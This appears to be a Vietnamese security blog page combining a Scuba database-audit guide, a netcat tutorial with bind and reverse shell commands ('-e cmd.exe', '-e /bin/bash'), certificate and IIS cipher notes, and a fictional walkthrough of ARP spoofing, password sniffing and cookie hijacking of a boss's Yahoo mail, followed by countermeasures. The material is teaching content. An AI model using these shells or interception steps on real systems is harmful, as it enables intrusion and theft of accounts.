Friday, May 21, 2010

Hướng dẫn : Sử dụng chương trình Scuba để rà soát security cho Oracle Database

Nội dung chính

Giới thiệu

Cài đặt Scuba

Cấu hình để kết nối tới Database cần test

Test Configuration

Output Options Configuration

Thực hiện rà soát Cơ sở dữ liệu đã chọn

Xuất kết quả ra báo cáo


Giới thiệu

Scuba là một công cụ nhỏ gọn dùng để đánh giá cơ sở dữ liệu, nó được sử dụng để thu thập các thông tin cấu hình liên quan tới security của một database. Bằng việc sử dụng Scuba có thể giúp chúng ta tìm ra hàng trăm thiếu sót như unpatched sofware (phần mềm chưa cập nhật bản vá), unsafe processes (các tiến trình không an toàn), weak passwords (các mật khấu “yếu”) , qua đó giúp ta đánh giá được những lỗi có độ rủi ro cao mà từ đó khiến cho cơ sở dữ liệu của chúng ta có khả năng bị tấn công bất cứ lúc nào.

Điều đặc biệt là Scuba hoàn toàn free, được viết bằng Java, nó hỗ trợ scan các db phổ biến như : Oracle, DB2, MS-SQL để tìm ra các lỗi cũng như những thiếu sót trong việc cấu hình.Dựa trên kết quả mà chương trình đánh giá được, Scuba sẽ ghi lại kết quả vào một file XML và kèm theo các mẫu báo cáo có sẵn của nó để xuất ra các báo cáo chi tiết dựa trên kết quả mà nó đã thu thập được.

Theo đánh giá của Pete Finnigan, một chuyên gia hàng đầu trong lĩnh vực Oracle Security thì Scuba thường được sử dụng để tìm ra những lỗi “simple”, và vì nó là một công cụ free cho nên việc đánh giá của nó sẽ không toàn diện được như những công cụ thương mại. Tuy nhiên, cá nhân ông vẫn xem Scuba là một công cụ hữu ích cho những nhà quản trị cơ sở dữ liệu.

Cài đặt Scuba

Để cài đặt Scuba trước tiên chúng ta phải download công cụ tại: http://www.imperva.com/products/scuba.html . Điền đầy đủ các thông tin yêu cầu bạn sẽ nhận được email cung cấp đường dẫn để download chương trình. Scuba là một file thực thi độc lập, chúng ta không cần phải cài đặt. Chương trình yêu cầu tối hiểu hệ thống phải cài đặt JRE phiên bản từ 1.4 trở lên để chạy được chương trình. Scuba bao gồm một file cấu hình test cơ bản và một số báo cáo mẫu dùng cho việc xuất kết quả. Khi ta chạy chương trình lần đầu tiên, nó yêu cầu chúng ta điền một số các thông tin để hoàn tất quá trình đăng kí sử dụng cũng như chấp nhận các điều khoản của chương trình.

Để chạy được Scuba ta cần thực hiện theo ba bước:

  1. Cấu hình Database connection.
  2. Lựa chọn file test và cấu hình các thống số test.

Thiết lập Output location để lưu file kết quả và lựa chọn mẫu báo cáo.

Cấu hình để kết nối tới Database cần test

Sau khi cài đặt xong chương trình, mặc định màn hình DB Config của Scuba hiện lên như sau :

scuba1

Màn hình này yêu cầu chúng ta cung cấp các thông tin cần thiết để kết nối tới Database Server :

  1. DB Type :

Lựa chọn kiểu DB, các db mà chương trình hỗ trợ :

  • Oracle (versions 8i through 10gR2)
  • MS SQL (versions 6 through 2005)
  • Sybase (versions 11.x – 15.x)
  • DB2 (8.x and all versions with support for DRDA communications)

2. Host :
Nhập host name hoặc ip của máy chủ database.

3. Port :

Nhập cổng mà DB server đang lắng nghe, nếu là Oracle thì mặc định là 1521. Nếu bạn cấu hình để listener lắng nghe trên một cổng khác thì nhập lại vào phần Port. Bảng ánh xạ các port :

scuba24. DB Name :

Trường này là cần thiết khi bạn lựa chọn loại cơ sở dữ liệu là Oracle hoặc DB2. Các trường hợp khác thì để trống. Đối với cơ sở dữ liệu Oracle thì trường DB Name này ta cần nhập SID (Service ID).

5. Windows Authentication :

Trường này được sử dụng trong trường hợp lựa chọn Db Type là MS SQL Server.

6.User :

Account của người sử dụng hợp lệ dùng để đăng nhập vào DB. Nên chọn account có đủ quyền trong việc truy cập dữ liệu đặc biệt là các Data Dictionary trên Db server.

7.Password :

Mật khẩu để xác thực.

Sau khi cung cấp đầy đủ toàn bộ thông tin liên quan, nhấn nút “Test Connectivity” để kiểm tra việc kết nối tới DB có thành công hay không? Nếu thành công ta sẽ nhận được thông báo sau :

scuba3

Test Configuration

Chọn phần Test Config, màn hình test config xuất hiện như sau :

scuba4

Trước khi chạy chương trình để đánh giá DB được chọn ta cần cấu hình các mục tại phần Test Config. Bao gồm :

  1. File :

Đường dẫn đến file testconfig.xml, đây là một file xml bao gồm các mô tả về việc test mà sẽ được áp dụng cho DB mà chúng ta cần rà soát. Scuba đã cung cấp cho chúng ta một file mặc định, đi kèm với nó là thông tin về Date mô tả thời gian về lần cập nhật cuối cùng cho file này. Để cập nhật các thông tin mới nhất ta chọn phần Check For Updates.

  1. Max Info :

Giá trị trong trường này có thể được sử dụng để hạn chế về lượng thông tin kiểm tra bị thất bại mà ta thu thập từ cơ sơ dữ liệu

  1. Parameters :

Trong thực tế nhiều DB được cấu hình với một số các policy chẳng hạn Password Policy, thông tin trong trường parameters cho phép ta rà soát liên quan tới Policy đã được cấu hình bởi các nhà quản trị. Lấy ví dụ: độ dài tối thiểu cho một password mới là bao nhiêu, thời gian hết hiệu lực của password v..v.. Bạn có thể thay đổi các giá trị Parameter cho phù hợp với mục đích kiểm tra của mình.

PS: Trong bài viết này của tôi, mọi thông tin trong phần Test Config đều được để nguyên theo mặc định của chương trình.


Output Options Configuration

Tiếp theo ta chuyển qua phần Output Config, màn hình cấu hình như sau :

scuba5

Trước khi thực hiện việc rà soát cơ sở dữ liệu ta cần cấu hình để Scuba lưu thông tin kết quả của quá trình kiểm tra ra một file. Trong trường hợp của tôi, mọi thông tin thu được sẽ được xuất ra file results.xml.

Sau khi thực hiện xong việc rà xoát, dựa trên file kết quả này chúng ta có thể tạo ra các báo cáo dựa trên template là các file XSL có sẵn của Scuba. Chương trình bao gồm các mẫu báo cáo sau :

  • Scuba_Assessment_Report.xsl for reporting on all executed tests
  • Scuba_Summary_Report.xsl for a graphical summary of the assessment run
  • Scuba_Assessment_Report(No Details).xsl
  • ScubaOutputTransformOnlyFailedTests.xsl for reporting all tests that failed
  • ScubaOutputTransformOnlyInfo.xsl for reporting information only tests

Tùy chọn Use External Browser cho phép chúng ta sử dụng IE browser để hiện thị các báo cáo. Nếu như ta không chọn tùy chọn này thì kết quả sẽ hiện thị trong một Java text pane.

Thực hiện rà soát Cơ sở dữ liệu đã chọn

Sau khi toàn bộ các thông tin liên quan về việc cấu hình đã hoàn tất, giờ là lúc ta tiến hành rà soát cơ sở dữ liệu của mình. Đơn giản chỉ bằng việc nhấn nút Go, chương trình sẽ thực hiện tự động và lưu kết quả vào file results.xml đồng thời hiện thị thông báo sau khi hoàn tất quá trình thực hiện.

Môi trường thử nghiệm của tôi như sau :

OS: Enterprise Linux Enterprise Linux AS release 4 (October Update 5)

Oracle DB Version: Oracle Database 10g Enterprise Edition Release 10.2.0.3.0 – Prod

Oracle SID: VD11

Host Name: test

scuba6

Xuất kết quả ra báo cáo

Sau khi quá trình rà soát hoàn tất, bước cuối cùng là xuất kết quả kiểm tra ra các file báo cáo để theo dõi, qua đó tổng kết các thông tin liên quan tới security của DB. Dựa vào các thông tin này, ta có thể điều chỉnh để “Hardening Our Database” :) !

scuba7

scuba8

scuba9

Tài liệu tham khảo: Scuba_Users_Guide.pdf

Best Regards

m4n0w4r

PS : Vui lòng chỉ rõ tác giả và nguồn khi các bạn sử dụng lại tài liệu này :)

1.4 Netcat The Almighty

1.4 Netcat The Almighty
Tổng quan

Netcat là một công cụ được giới Hacking và Security đánh giá là tuyệt vời. Giải thích đơn giản thì netcat là một công cụ có thể “read and write to TCP and
UDP ports”. Netcat có thể chạy ở hai mode : “client” hoặc “server”. Một lời khuyên rất hay mà tôi thường gặp là “Nếu như bạn cảm thấy hay và còn lờ mờ về vấn đề hay công cụ đó hãy tự mình research”

1.4.1 Connecting to a TCP/UDP port with Netcat
Việc kết nối tới một TCP/UDP port trong nhiều trường hợp sẽ giúp ích cho chúng ta những vấn đề sau :

  • Chúng ta muốn kiểm tra xem một port đang open hay đã close (Khả năng quét cổng ngẫu nhiên.)
  • Chúng ta muốn đọc banner từ port
  • Chúng ta muốn kết nối tời một network service

Ok, chúng ta chạy thử netcat và xem help của nó :

nc -h

1. Để kết nối tới một TCP port 22 tại địa chỉ nào đó và grap lấy banner của chương trình ssh server ta làm như sau (ở đây tôi lấy đại một địa chỉ) :

bt ~ # nc -vv vgr.net 22
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 22 (ssh) open
SSH-2.0-OpenSSH_3.8.1p1
sent 0, rcvd 24
bt ~ #

2. Kết quả ta thấy cổng 22 đang open và SSH banner trả về là SSH-2.0-OpenSSH_3.8.1p1

3. Giờ thử connect tới port 80 xem thế nào nhé, thêm vào đó ta sẽ gửi một HTTP HEAD request tới server và đọc ra HTTP server banner. Ta làm như sau :

bt ~ # nc -vv vgr.net 80
Warning: inverse host lookup failed for 65.161.177.104: Unknown host
host6.net [65.161.177.104] 80 (http) open
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Fri, 10 Oct 2008 03:12:20 GMT
Server: Apache
X-Powered-By: PHP/4.4.2
Connection: close
Content-Type: text/html; charset=ISO-8859-1

sent 17, rcvd 161
bt ~ #

Qua đây ta đoán được Server này sử dụng Apache làm Web Server, trên đó đã cài PHP với version có thể là 4.4.2.

1.4.2 Listening on a TCP/UDP port with Netcat
Một tính năng rất hay khác của netcat đó là listen trên một port TCP/UDP, nó mang tới khả năng trong việc ” network debugging client applications”, hoặc “receiving a TCP/UDP network connection”

Ta thử thực hiện một đoạn chat đơn giản sử dụng netcat, công việc này cần có hai máy. Máy của tôi có địa chỉ ip là 10.32.110.67 (OS: Linux), máy khác có ip là 10.32.110.57 (OS : WindowsXP).

1. Trên máy của tôi,tôi chạy netcat cho listen trên port 4444 và lắng nghe các kết nối tới máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …

2. Từ máy Windows tôi thực hiện kết nối tới máy tôi :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open

Gõ thử dòng sau :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you

Chuyển qua máy tôi :

bt ~ # nc -lvvp 4444
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 2219
Hi, how are you <== thông điệp nhận được I’m fine. Thanx..And you? <== tôi gửi lại

Kết quả trên máy Windows :

C:\nc111nt>nc.exe -vv 10.32.110.67 4444
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
(UNKNOWN) [10.32.110.67] 4444 (?) open
Hi, how are you
I’m fine. Thanx..And you?

1.4.3 Transferring files with Netcat
Netcat có thể được sử dụng để truyền nhận file như một simple ftp.Nó hỗ trợ truyền text và binary files.Thực hiện demo tranfer một file từ máy Windows tới máy Linux.

1. Tại máy Linux : ta cho netcat lắng nghe và chấp nhận kết nối đồng thời chuyển hướng bất kì một input nào từ máy Windows vào một file.

bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …

2. Tại máy Windows : ta tạo ra một file test.txt có nội dung tùy ý.Sau đó connect tới máy Linux và send file.

C:\nc111nt>echo “Hi! I want to transfer some files to you..lolz!!” > test.txt

C:\nc111nt>type test.txt
“Hi! I want to transfer some files to you..lolz!!”

C:\nc111nt>nc.exe -vv 10.32.110.67 4444 <>

Do netcat không có thông báo hay dấu hiệu gì cho ta thấy rằng đang truyền file, cho nên ta đợi một lúc sau đó nhấn Ctrl + C để thoát khỏi netcat.

3. Tại máy Linux tiến hành kiểm tra
bt ~ # nc -lvp 4444 > output.txt
listening on [any] 4444 …
10.32.110.57: inverse host lookup failed: Unknown host
connect to [10.32.110.67] from (UNKNOWN) [10.32.110.57] 4084
bt ~ # cat output.txt
“Hi! I want to transfer some files to you..lolz!!”
bt ~ #

Dùng lệnh cat để kiểm tra nội dung của file output.txt như trên. :)

1.4.4 Remote Administration with Netcat
Một tên gọi khác của netcat được nhiều người gọi là “Netcat as a BackDoor”. Một trong những tính năng có thể gọi là tinh xảo của netcat đó là command redirection. Điều này được giải thích như sau :
“Netcat can take an exe file and redirect the input,output and error messages to a TCP/UDP port, rather than to the default console.”. Ta lấy ví dụ để cho dễ hiểu với file cmd.exe trên máy Windows.Bằng việc redirect stdin/stdout/stderr, chúng ta có thể bind chương trình cmd.exe vào một local port.Bất kì một người nào kết nối tới port này sẽ nhận được một command prompt. Hehe có vẻ lằng nhằng nhỉ, theo dõi một số ví dụ để dễ hình dung.

Giả sử, có hai user là Bob và Alice – hai user này đều muốn tìm cách kết nối tới máy của nhau.Hãy xem hình minh họa về mô hình mạng cũng như vai trò của từng người trong mô hình.

1.4.4.1 Scenario 1 – Bind Shell
Trong ví dụ 1 này, Bob muốn nhờ tới sự trợ giúp của Alice do đó anh ta đề nghị Alice kết nối tới máy của anh ta để giúp đỡ. Như bạn thấy trong hình trên Bob tác giả nói là (Bob has a non RFC 1918 address (http://www.faqs.org/rfcs/rfc1918.html)) và anh ta kết nối trực tiếp với internet.Tuy nhiên, ngược lại Alice lại đừng đằng sau một NAT connection.

Để giúp alice connect tới máy mình Bob làm như sau, anh ta cần phải bind cmd.exe ra một port TCP trên máy anh ta và sau đó thông báo cho Alice kết nối tới port đó.
Trên máy của Bob :

C:\nc111nt>nc -lvvp 4444 -e cmd.exe
listening on [any] 4444 …

Điều này hơi nguy hiểm bởi lẽ nếu một người nào đó không phải là Alice mà sử dụng việc scan port trên máy Bob và dùng nc kết nối tới thì sẽ nguy hiểm. Ở đây ta giả sử chỉ có Alice kết nối tới.

Tại máy của Alice

bt ~ # nc -v 10.32.110.57 4444
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\nc111nt> <== hiện ra cái này là kết nối thành công :)

Tiếp theo thử gõ lệnh xem thế nào :

C:\nc111nt>dir
dir
Volume in drive C has no label.
Volume Serial Number is 4CD7-38CF

Directory of C:\nc111nt

10/10/2008 03:42 PM

.
10/10/2008 03:42 PM ..
12/28/2004 11:23 AM 12,166 doexec.c
07/09/1996 04:01 PM 7,283 generic.h
11/06/1996 10:40 PM 22,784 getopt.c
11/03/1994 07:07 PM 4,765 getopt.h
02/06/1998 03:50 PM 61,780 hobbit.txt
12/27/2004 05:37 PM 18,009 license.txt
11/28/1997 02:36 PM 544 makefile
12/29/2004 01:07 PM 61,440 nc.exe
12/29/2004 01:07 PM 69,662 netcat.c
12/27/2004 05:44 PM 6,833 readme.txt
10/10/2008 03:42 PM 53 test.txt
11 File(s) 265,319 bytes
2 Dir(s) 31,878,184,960 bytes free

C:\nc111nt>

1.4.4.2 Scenario 2 – Reverse Shell
Tình huống thứ hai, giờ đến lượt Alice muốn nhờ Bob giúp.Ta giả định rằng Alice không phải là người kiểm soát NAT device, vậy có cách nào để Bob kết nối tới máy của Alice và giúp đỡ cô ấy. :(

Một tính năng thú vị khác của netcat là khả năng send một command shell tới một listening host.Vì vậy trong tình huống này, mặc dù Alice không thể bind port tới cmd.exe trên máy của cô ấy và mong chờ Bob kết nối tới, cô ấy có thể send command prompt của cô ấy tới máy của Bob :) . Vậy thực hiện như sau :

Tại máy của Bob:

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …

Tại máy của Alice :

bt ~ # nc -v 10.32.110.57 4444 -e /bin/bash
10.32.110.57: inverse host lookup failed: Unknown host
(UNKNOWN) [10.32.110.57] 4444 (krb524) open

Lúc này tại máy của Bob ta thấy như sau :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA

Lúc này ta có thể gõ lệnh được rồi :

C:\nc111nt>nc -lvvp 4444
listening on [any] 4444 …
10.32.110.67: inverse host lookup failed: h_errno 11004: NO_DATA
connect to [10.32.110.57] from (UNKNOWN) [10.32.110.67] 44735: NO_DATA
ifconfig
eth0 Link encap:Ethernet HWaddr 00:0C:29:36:1E:01
inet addr:10.32.110.67 Bcast:10.32.110.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1
RX packets:188690 errors:1 dropped:0 overruns:0 frame:0
TX packets:16575 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:24337003 (23.2 MiB) TX bytes:3898205 (3.7 MiB)
Interrupt:16 Base address:0×2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:10 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1135 (1.1 KiB) TX bytes:1135 (1.1 KiB)

ls
Desktop
dnsz.sh
dodnsr.sh
dopings.sh
findicq.sh
icq-ips.txt
icq-srv.txt
index.html
output.txt

Chà thật là thú vị. Dưới đây là đôi lời của tác giả viết bài này :


Netcat has other nice features and uses such as simple sniffing abilities, port redirection and others which I will leave for you to research independently. The reason I didn’t want to call this Module “Netcat as a backdoor” is that students usually start thinking about the malicious implementations of such a backdoor, and one of the first questions asked is: “How to I get Netcat to run on the victim machine, without remote user intervention?”.I usually dismiss this question, with a horrified look on my face. The magic answer to this question is simply “remote code execution”.Ninety percent of attack vectors can be summarized with the pair of words “code execution”.For example,attacks such as Buffer Overflows, SQL injection, File Inclusion,Client Side Attacks, Trojan Horses – all aim to result in “code execution” on the victim machine.

Certificate Authority

1. CA = Certificate Authority là từ dùng để nói về một tổ chức/thực thể được tín nhiệm để cấp certificate cho những cá nhân và tổ chức khác.

2. Certificate = chứng chỉ của một cá nhân hay tổ chức được một CA cấp cho (có thể phải trải qua quá trình CA kiểm tra danh tính của đơn vị muốn được cấp certificate).

Ví dụ: Verisign là CA được tín nhiệm, thông qua hình thức là self-signed certificate của họ được các trình duyệt web tín nhiệm. Verisign cấp certificate cho công ty hdbank. Việc cấp này đơn giản là Verisign dùng self-signed certificate của họ để ký lên CSR của khách hàng.

CA hầu như không tham gia vào quá trình thực thi của bộ giao thức SSL/TLS. nói cách khác, trình duyệt và máy chủ hầu như chỉ nói chuyện trực tiếp với nhau, mà không phải kết nối đến một bên thứ 3 nào cả. CA chỉ đóng vai trò trong việc xác lập hạ tầng khóa công khai (PKI), hầu như không tham gia vào quá trình kiểm tra và xác thực cert.

vậy việc kiểm tra và xác thực cert diễn ra như thế nào? khi trình duyệt kết nối vào máy chủ web, máy chủ web gửi lại cert của họ, thì trình duyệt sẽ có trách nhiệm kiểm tra cert này. việc kiểm tra này gồm các bước (thứ tự tùy thuộc vào trình duyệt):

1. xem cert này được ai ký, và tổ chức ký cert này có được trình duyệt tín nhiệm hay không.

2. xem cert có còn hạn sử dụng hay không.

3. xem cert có bị vô hiệu hóa hay chưa.

4. xem common name của cert có trùng với tên của máy chủ mà trình duyệt đang kết nối hay không.

bước thứ 3 là lý do mà mình dùng từ "hầu như". trình duyệt (và máy chủ) có thể kết nối đến CA để kiểm tra xem certificate của bên còn lại có bị vô hiệu hóa hay chưa (revoked). RFC của TLS/SSL không bắt buộc các hiện thực TLS/SSL phải thực hiện bước này, và theo mình biết thì mặc định các trình duyệt không thực hiện việc kiểm tra này.

Thursday, May 20, 2010

How to use 256 bit SSL in IIS 6.0

3 steps:

1. Install the fix http://support.microsoft.com/kb/948963 which will install the cipher sutes AES 128 and AES 256.

2. The order of cipher suites on Windows 2003 is hard-coded. AES 128 is the highest priority. AES 256 is the next. We only need to disable AES 128 then AES 256 will have the highest priority.

a. Open regedit.exe on IIS 6.0 machine.

b. Go to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers. You should be able to find there are many subkeys, e.g. AES 128/128.

c. In subkey AES 128/128, create a DWORD value “Enabled”. Set it as the value 0. It means we would disable AES 128.

3. Reboot the IIS 6.0 machine.

On Vista/Windows7 which support AES 256 machine, you can use IE to browse that IIS 6.0 web site through HTTPS. The SSL uses 256 bit encryption.

Regards,

Xin Jin

CHÔM PASSWORD VÀ ĐỌC LÉN MAIL CỦA SẾP

Lưu ý : Bài viết này là demo chứng minh cho tầm quan trọng của việc quản trị mạng chứ không phải hướng dẫn các bạn đi “chôm” pasword ! Đối với vai trò 1 Administrator thì không phải build up một network cho chạy là xong, mà phải kiểm soát và phải có phương hướng bảo mật cho network của mình. (Các tên nhân vật và tình huống câu chuyện là do tôi hư cấu)

Vụ án xảy ra tại công ty Frog Co ltd, có chú Ếch Con là IT chịu trách nhiệm chính của công ty Frog Co, công ty hoạt động ngày càng phát triển mạnh mẽ mà Sếp (Hai Nhái) vẫn không tăng lương cho chú Ếch nhà ta (nhân viên làm tại công ty Frog Co luôn có tiêu chí là “thêm việc chứ không thêm lương”). Công ty dùng mạng workgroup (mạng ngang hàng) và đều sử dụng thiết bị thuộc hàng “cổ lổ sỉ” (còn dùng Hub), chú Ếch muốn đề xuất mua một cái gì hoặc xin đi học cái gì đều bị Sếp bác bỏ bởi vì sếp ta luôn có một quan niệm : “cái gì còn sài được thì cứ sài”. Sau nhiều ngày sống trong “áp bức và bốc lột” (e hèm !!! nói hơi quá, hihi) nên chú Ếch nhà ta muốn làm một cái gì đó để chứng tỏ mô hình mạng đang dùng hoàn toàn không an toàn, cần phải mua thêm thiết bị mới và triển khai các mô hình mạng Domain/Firewall/IDS …. để an toàn hơn và cũng như để chứng tỏ mình làm được nhiều việc mà tại sao Sếp lại …. không tăng lương.

Vậy chú Ếch nhà ta phải làm gì để tạo tiếng vang, để chứng minh cho Sếp thấy là mạng hiện tại không an toàn ? Có nhiều phương án hiện ra trong đầu Ếch : cài trojan chôm password Sếp ? Lấy dữ liệu trong laptop Sếp ? … và phương án cuối cùng nó nghĩ ra là dùng chương trình sniff để đọc lén email của Sếp cũng như …. chôm password email của Sếp. Chương trình Sniff mà Ếch chọn là Cain & Abel.

Vụ án 1 : Ông Sếp khóc huhu vì thằng Ếch biết được password email

Mô hình mạng công ty Frog Co như sau :

SnifferYahoo

- Trên máy tính của Ếch cài đặt phần mềm Cain & Abel.

picture001

- Phần mềm Cain đòi hỏi phải có WinPcap (WinPcap là một phần trong bộ tool packet sniffer, dùng để capture các gói tin trên mạng)

picture002

- Ếch ta vào CMD, dùng lệnh net view để xem các host đang kết nối trong mạng của mình.

picture003

- Sau khi đã biết được hostname của ông Sếp (hostname : DAODUYHIEU) thì chú Ếch liền ping để xem IP là gì.

picture004

- Ếch khởi động chương trình Cain và chọn card mạng để sniffer.

picture005

- Ếch chạy Mac Address Scanner để xem MAC và IP đang kết nối trong host

picture006

- Kết quả đã hiện ra, Ếch đã thấy được IP : 192.168.7.251 ứng với hostname của sếp nó là DAODUYHIEU.

picture007

- Ếch tiến hành bắt gói tin từ máy sếp tới router (router ở đây với IP : 192.168.7.200)

picture008

- Quá trình sniffer đã bắt đầu, chú Ếch lúc này cười hehe và chit chat đợi chờ Sếp ta check mail (thiệt là ác quá đi, hehe)

picture009

- Sếp ta vẫn không hay biết có một thằng Ếch đang có dã tâm “chôm” password của mình và cứ đăng nhập để check mail.

picture010

- Sếp đã đăng nhập vào mail và đọc mail.

picture011

- Lúc này chú Ếch nhà ta mới mở Cain lên và xem “tiến độ” như thế nào. E hèm, trong tab ARP đã bắt được các gói ARP-Cert và ARP-HTTPS rồi. Hehe, Ếch ta cười thầm trong bụng.

picture012

picture013

- Ếch chuyển sang tab Password thì … oh yeah !!! Tất cả mọi thứ nó cần đã ở đây, mục đích của nó đã thành công rồi. Theo như kết quả của nó thu thập được thì email của ông Sếp là daoduyhieu_lab@yahoo.com và password là MatKhau.

picture014

Chú Ếch liền thông báo với Sếp là đã biết password của Sếp. Sếp ta không nói gì nhưng thật sự hoang mang vì chỉ mới hôm qua tới nay nó đã lấy được password của mình rồi. Trong một buổi nhậu chiều tại quán Thu Nở – 17 Võ Thị Sáu – Phan Thiết (Quán này tui hay nhậu hải sản nên giới thiệu luôn, hehe) Sếp (Hai Nhái) đã bày tỏ “tâm sự” này với anh Ba Cóc (anh Ba Cóc cán bộ của một cơ quan nhà nước, cũng là hàng Sếp) sự tình, vậy theo anh là có nên nâng cấp hệ thống của mình lên không ? Có nên cho thằng Ếch đi học cái khóa học gọi là bảo mật gì đó không ? Anh Ba Cóc trầm ngâm suy nghĩ (thực chất anh Ba Cóc mù tịt, nhưng cũng làm ra vẻ … trầm ngâm), đột nhiên Ba Cóc liền nhớ ra thằng Tư Nòng Nọc đệ tử của mình trên cơ quan liền giới thiệu với Hai Nhái đại khái là “thằng Tư Nòng Nọc trên cơ quan tui khá lắm, nó được tui cho đi học ở nước ngoài hoài, và cũng nghe nói là một héc cờ (hacker) gì đó nha”. Hai Nhái như mở cờ trong bụng liền xin số và gọi ngay cho “chiên” gia Tư Nòng Nọc xin ý kiến, “chiên” gia Tư Nòng Nọc suy nghĩ liền phán rằng “Anh Hai Nhái khi vào email nhớ chọn ghi nhớ vào máy luôn thì không ai làm gì được đâu”. Sếp Hai Nhái vui mừng liền sáng mai áp dụng chiêu này rồi bảo với Ếch rằng “tui mới được chiên gia bảo mật hướng dẫn cách phòng chống rồi, nếu chú vào được email tui lần nữa thì tui sẽ duyệt dự án nâng cấp của chú và cho chú đi học một khóa bảo mật”.

Sau tuyệt chiêu của Tư Nòng Nọc chỉ cho Sếp Hai Nhái thì làm sao Ếch sniff được User/Password mà vào hộp thư của Sếp? Vậy dự án của Ếch có được thực hiện hay không ? Ếch có được đi học bảo mật hay không ? Hồi sau sẽ rõ.
Vụ án 2 : Thằng Ếch Con cười haha vì lại một lần nữa đọc trộm email của Sếp Hai Nhái

Sau chiêu đăng nhập và ghi nhớ password của Tư Nòng Nọc chỉ cho Sếp Hai Nhái thì kế hoạch sniff lúc Sếp đăng nhập của thằng Ếch đã thất bại. Vậy làm thế nào đây ? Nó liền lục lọi các kiến thức mà nó đã biết để sắp xếp một cách logic quyết lấy được một xuất đi học bảo mật mà nó hằng mơ ước.

Đối với HTTP, sau việc đăng nhập thành công, để không phải hỏi lại nhiều lần thông tin đăng nhập. Web server sẽ lưu xuống máy client những thông tin cần thiết để kiểm tra lại, các thông tin lưu này được gọi cookie. Các cookie sẽ khác nhau ở từng website và do người lập trình thiết lập. Và ngoài thông tin xác thực user cookie còn có thể mang nhiều giá trị khác mà người thiết kế muốn.

Mỗi cookie lưu trên máy Client gồm các thông tin: Name, Content, Domain, Path, Expire date. Vậy nếu có được các cookie có giá trị, ta có thể kết nối đến Server với tư cách user sở hữu cookie đó.

Nghĩ đến đây rồi thì Ếch bắt đầu tiến hành, để làm được việc này nó cần phải chuẩn bị nhiều đồ nghề.

- Công cụ Cain & Abel để ARP spoofing.

- Sniff cookie với ferret

- Trình duyệt FireFoxadd-on Cookie Editor

Sau khi mọi thứ đồ nghề đã download sẵn hết rồi thì chú Ếch nhà ta mới hí hửng chuẩn bị … hành sự (tiếp tục con đường tội ác, hehe)

- Ếch ta vào CMD nhảy tới folder chứa ferret và gõ lệnh ferret.exe -W để xem thông tin chương trình cũng như số thứ tự card mạng mà nó muốn tiến hành sniffer.

- Sau khi xác định card mạng nó gõ lệnh ferret.exe -i 2 để tiến hành sniffer trên card số 2 và lướt web âm thầm đợi ông sếp check mail (thiệt là ác quá đi, hehe)

picture015

- Vừa được nửa lon Pepsi (chú ếch nhà ta có tật nghiện pepsi, thiếu pepsi là cái đầu nó ngu hẳn ra, hihi) thì nó nhận được khá nhiều thông tin HTTP GET, toàn bộ các thông tin này sẽ được lưu trong file hamster.txt ở cùng thư mục với ferret

picture016

- Ếch mở file hamster.txt ra thì đập vào mắt nó là “linh tinh hầm bà lằng” giá trị, nhưng nó chỉ để ý đến 2 giá trị “Y” & “T”.

- Nó mở FireFox, truy cập http://mail.yahoo.com và chọn Cookie Editor để xóa tất cả các giá trị đăng lưu. Nó nhập vào đó 2 giá trị “Y” & “T” mà nó sniff được và save lại.

picture017

- Tất cả đã hoàn tất, nó lại truy cập http://mail.yahoo.com và “úm ba la sì bùa”, nó đã đăng nhập được vào hộp thư daoduyhieu_lab@yahoo.com của sếp dựa vào cookie mà nó sniff được.

picture018

- Nó lại tiếp tục đem kết quả này trình Sếp thì lúc này Sếp mới thật sự quan tâm. Sếp đã quyết định tài trợ cho Ếch Con đi học một khóa bảo mật và khi nó học xong thì sẽ tiến hành dự án nâng cấp hệ thống mạng của công ty Frog Co cho tốt hơn.

- Qua bài học này Sếp Hai Nhái rút ra được kết luận là

+ Cần lắng nghe các tâm tư nguyện vọng của nhân viên, xét thấy phù hợp thì nên triển khai để tránh gặp trường hợp “có hối cũng không kịp”.

+ Khoan hẵn nghe lời “xàm tấu” của những người được gọi là “chiên gia”.

Giải pháp chống sniffer

Việc detect sự hiện diện của sniffer trong LAN là một việc không đơn giản tí nào bởi vì sniffing là một hành động passive (thụ động), nó không trực tiếp tác động và gây thay đổi (cụ thể) nào để có thể nhận ra nó một cách dễ dàng. Không có một software nào có thể detect được sniffer một cách nhanh chóng và chính xác. Vì vậy để giảm thiểu Sniff thì ta nên áp dụng các phương pháp sau :

- Giải pháp cho việc chống bị sniff thì có: gán Static Mac-Address, dùng SSL, VPN,VLAN, Switch (hỗ trợ DHCP snooping, monitor port ).

- Detect sniff thì có hai cách nền tảng: detect promiscuous mode của NIC (từng host) và theo dõi tình trạng nội mạng (trọn bộ LAN).

picture019

Ảnh : Gán Static Mac-Address cho máy Sếp

picture020

